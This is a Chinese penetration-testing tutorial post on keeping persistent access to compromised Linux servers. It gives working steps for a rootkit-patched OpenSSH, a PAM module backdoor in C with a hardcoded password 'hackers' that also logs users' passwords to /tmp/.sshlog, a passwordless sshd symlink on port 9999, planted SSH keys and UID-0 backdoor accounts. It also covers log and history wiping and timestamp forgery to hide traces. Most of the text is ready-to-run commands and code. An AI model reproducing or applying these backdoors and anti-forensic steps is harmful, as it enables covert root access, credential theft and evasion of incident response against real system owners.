第144天:内网安全-Linux权限维持&OpenSSH&PAM后门&SSH软链接&公私钥登录

目录

[案例一: 权限维持-Linux-替换版本-OpenSSH 后门](#案例一: 权限维持-Linux-替换版本-OpenSSH 后门)

[案例二: 权限维持-Linux-更改验证-SSH-PAM 后门](#案例二: 权限维持-Linux-更改验证-SSH-PAM 后门)

[案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号](#案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号)

ssh软链接

公私钥

新帐号


案例一: 权限维持-Linux-替换版本-OpenSSH 后门

原理:替换本身操作系统的 ssh 协议支撑软件 openssh,重新安装自定义的 openssh,

达到记录帐号密码,也可以采用万能密码连接的功能!

查看当前ssh的版本 ssh -V

OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017

环境准备

yum -y install openssl openssl-devel pam-devel zlib zlib-devel

yum -y install gcc gcc-c++ make

yum -y install patch

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar -xzvf openssh-5.9p1.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff

安装依赖

复制代码
yum -y install openssl openssl-devel pam-devel zlib zlib-devel    

yum -y install gcc gcc-c++ make  

yum -y install patch 

下载替换版本和后门文件

复制代码
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

解压文件

复制代码
tar -xzvf openssh-5.9p1.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

安装openssh

复制代码
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff  
# 进入openssh-5.9p1,把sshbd5.9p1.diff写入到patch中

也就是把这个文件,复制成外面这个文件并覆盖,所以之前下载的那个应该没啥用哈^_^

修改配置万能密码

修改版本,version.h文件

修改与之前版本一致

设置安装目录,编译并且安装

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

查看当前版本

连接,这种方式感觉不是很稳定哈。

这里连接的时候可能会出bug,尝试下面这篇文章的解决方法

SSH 服务 异常报错"Failed to start OpenSSH Server daemon" 该怎么办???-CSDN博客

有可能还是显示错误,但是可以连接了

利用admin!@#45去链接

修改安装时间和清除日志的后续操作,来自这篇文章Linux OpenSSH后门的添加与防范

恢复新配置文件的日期,使其与旧文件的日期一致。对ssh_config和sshd_config文件的内容进行对比,使其配置文件一致,然后修改文件日期。

复制代码
touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

清除操作日志,代码如下。

复制代码
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/192.168.52.175/d' access_log*
echo >/root/.bash_history //清空操作日志

案例二: 权限维持-Linux-更改验证-SSH-PAM 后门

pam相当于windows的kerberos

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

查询pam版本

复制代码
rpm -qa | grep pam

下载对应的版本并且解压

bash 复制代码
wget https://github.com/linux-pam/linux-pam/releases/tag/Linux-PAM-1_1_8

安装必要的依赖

bash 复制代码
yum install gcc flex flex-devel -y

修改pam_unix_auth.c文件

bash 复制代码
cd Linux-PAM-1.1.1

cd modules/pam_unix/

vim pam_unix_auth.c

把179行的文件进行修改

hackers即为新的登录密码,可以进行修改

bash 复制代码
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){ 
FILE * fp; 
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p); 
fclose(fp);} 
name = p = NULL;
AUTH_RETURN;

记得要对齐格式

编译安装

bash 复制代码
./configure && make

把原来的pam_unix.so文件备份,并把新的pam_unix.so,复制到原来的位置

bash 复制代码
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

cd modules/pam_unix/.libs

cp pam_unix.so /usr/lib64/security/pam_unix.so

利用hackers登录

经过实验,这种方式比第一种稳定一点

更多进阶玩法:Linux Pam后门总结拓展 - 先知社区

案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号

ssh软链接

查看是否支持pam身份验证

复制代码
cat /etc/ssh/sshd_config|grep UsePAM

建立软链接,并且如果有防火墙的话,需要设置允许对应端口通行

复制代码
ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999
 
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上
 
firewall-cmd --reload
#重启防火墙服务
 
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行

这个时候连接ssh的9999端口,密码可以随便输入

复制代码
ssh root@ip -p 9999

但是缺点就是容易被发现,突然多开了一个端口。

公私钥

参考文章:SSH密钥登陆 - 哔哩哔哩

攻击主机生成公钥

复制代码
ssh-keygen -t rsa #三次回车

id_rsa : 私钥

id_rsa.pub : 公钥

把这个文件复制到受控主机.ssh目录下的authorized_keys,这个目录都在用户的家目录里面

如果没有.ssh目录的话需要手工创建

创建文件,把id_rsa.pub中的内容复制过去

如果是自己创建的这两个文件记得修改权限

复制代码
chmod 600  /root/.ssh/authorized_keys

chmod  700 /root/.ssh

这个时候还是连接不上,因为不支持使用公私钥连接,受控主机要开启验证

复制代码
vim /etc/ssh/sshd_config
#尾行添加
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys


PasswordAuthentication no           
#这个是关闭允许密码登录,不关闭的话用密钥也可以登录,用密码也可以登录

然后重启服务

复制代码
systemctl restart sshd.service

再次连接的时候都不需要验证直接可以连接上

新帐号

两种方式

复制代码
#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1



echo "test1:x:0:0::/:/bin/sh" >> /etc/passwd          
#增加超级用户账号
passwd test2                           
#修改test2的密码为123456

方法一

利用test1密码123456连接,成功连接

方法二:

利用test2/123456建立连接成功,反弹的shell为sh,更加验证了正确性

相关推荐
黎阳之光13 分钟前
黎阳之光:以视频孪生重构智慧防火,打造“天空地人智”一体化森林防火新范式
大数据·运维·人工智能·物联网·安全
黄筱筱筱筱筱筱筱1 小时前
LINUX-防火墙
linux·服务器·网络
сокол2 小时前
【网安-Web渗透测试-靶场系列】AWD-Platform(ctf-hub)
linux·服务器·ubuntu·网络安全·docker
utf8mb4安全女神2 小时前
Linux系统服务相关命令【定时任务设置】【任务进程管理】【防火墙区域应用】
linux·运维·服务器
每天一把堆栈4 小时前
ciscn-pwn
安全·网络安全·pwn
05候补工程师4 小时前
从算法理想向工程现实的跨越:SLAM 核心架构、思维误区与 Nav2 实战避坑指南
人工智能·算法·安全·架构·机器人
雪度娃娃5 小时前
Asio异步读写——连接的安全回收问题
开发语言·c++·安全·php
不吃土豆的马铃薯5 小时前
Spdlog 进阶:日志基本控制、日志格式控制、异步记录器
linux·服务器·开发语言·前端·c++
疯狂成瘾者6 小时前
常见的 Linux 版本
linux·运维·服务器
szxinmai主板定制专家6 小时前
基于ZYNQ MPSOC图像采集与压缩系统总体设计方案
linux·arm开发·人工智能·嵌入式硬件·fpga开发